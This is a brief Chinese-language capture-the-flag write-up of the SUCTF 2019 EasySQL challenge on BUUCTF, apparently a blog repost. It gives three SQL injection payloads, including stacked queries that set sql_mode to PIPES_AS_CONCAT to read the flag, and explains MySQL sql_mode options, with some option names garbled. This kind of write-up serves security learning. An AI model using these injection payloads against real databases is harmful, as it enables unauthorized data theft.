BUUCTF-[SUCTF 2019]EasySQL 1
阿新 • • 發佈:2020-12-19
好吧這題是我不配 看了網上大佬的WP
payload1:*,1 大佬的解法,好像直接將原始碼猜出來了 select $_GET['query'] || flag from flag
payload2:select
1
;
set
sql_mode
=
pipes_as_concat;select
1
||flag
from
Flag
payload3:1;set sql_mode=PIPES_AS_CONCAT;select 1
之前沒有接觸過這類題目,涉及到堆疊注入和sql_mode規則的設定
補充知識
sql_mode:是一組mysql支援的基本語法及校驗規則
PIPES_AS_CONCAT:將“||”視為字串的連線操作符而非或運算子,這和Oracle資料庫是一樣的,也和字串的拼接函式Concat相類似
當 sql_mode 設定了 PIPES_AS_CONCAT 時,|| 就是字串連線符,相當於CONCAT() 函式
當 sql_mode 沒有設定 PIPES_AS_CONCAT 時 (預設沒有設定),|| 就是邏輯或,相當於OR函式
解釋一下payload2
select 1查詢,將sql_mode規則設定成 PIPES_AS_CONCAT,||符號就是將select 1和select flag from Flag的結果拼接起來
payload1: *,1
字串或前面的數字結果為1則返回1,為0則返回0,效果跟直接*一樣
關於MYSQL的sql_mode解析與設定
ONLY_ FULL_ GROUP_B:如果在SELECT中的列,沒有在GROUP BY中出現,那麼將 認為這個SQL是不合法的,因為列不在GROUP BY從句中,因為這個設定的存在,我們對於group by的用法只能是類似於select * from users group by id ;
對這種狀態進行修改:
set sql_mode=(select replace (@@sql_mode,'ONLY_FULL_GROUP_BY','')); 可以使用該語句來將空格替換掉only_full_group_by
STRICTTRANSTABLES:在該模式下,如果一個值不能插入到一個事務表中,則中斷當前的操作,對非事務表不做任何限制。
NOZERODATE:在嚴格模式,不要將 '0000-00-00'做為合法日期。你仍然可以用IGNORE選項插入零日期。在非嚴格模式,可以接受該日期,但會生成警告。
ERRORFORDIVISIONBY
NOAUTOCREATE_USER:防止GRANT自動建立新使用者,除非還指定了密碼。
ANSIQUOTES:啟用ANSIQUOTES後,不能用雙引號來引用字串,因為它被解釋為識別符。
PIPESASCONCAT:將"||"視為字串的連線操作符而非或運算子,這和Oracle資料庫是一樣是,也和字串的拼接函式Concat想類似。
參考文章:https://www.cnblogs.com/ophxc/p/12879732.html#
https://www.cnblogs.com/chrysanthemum/p/11729891.html